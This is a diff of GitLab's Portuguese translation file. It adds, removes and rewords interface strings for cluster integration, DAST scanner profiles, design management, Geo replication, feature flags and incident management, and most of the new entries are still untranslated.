msgstr "Por favor, certifica-te de que a tua conta Google cumpre com os seguintes requisitos:"
@@ -5807,12 +5936,15 @@ msgstr "Ocorreu um erro ao desinstalar %{title}"
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr "Ocorreu um erro ao atualizar o nome do domínio Knative."
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
-msgstr "A especificação de um domínio permitirá que uses os estágios do Auto Review Apps e do Auto Deploy para %{auto_devops_start}Auto DevOps%{auto_devops_end}. O domínio deve ter um DNS caractere especial configurado correspondente ao domínio."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
+msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr "Esta conta precisa de permissões para criar um cluster Kubernetes no %{
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr "Esta opção permite-te instalar aplicações no RBAC clusters."
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr "Para acessar a aplicação após a implantação, a ponto de um caractere especial de DNS para o Ponto Final do Knative."
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr "Desinstalar %{appTitle}"
@@ -5885,6 +6029,9 @@ msgstr "A validar o estado de faturamento do projeto"
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr "Não foi possível verificar se um dos teus projetos no GCP possui o faturamento ativado. Por favor, tenta novamente."
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "acesso ao Google Kubernetes Engine"
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr "Configurar Prometheus"
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr "Criar etiqueta do projeto"
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr "Ocorreu um erro ao apagar a licença."
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr "Ocorreu um erro ao apagar a licença. Não tens permissões para realizar esta operação."
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr "Para agendar o teu épico da data de %{epicDateType}, com base em objetivos, atribui um objetivo com uma data de %{epicDateType} para qualquer problema no épico."
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr "Estado Geo"
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
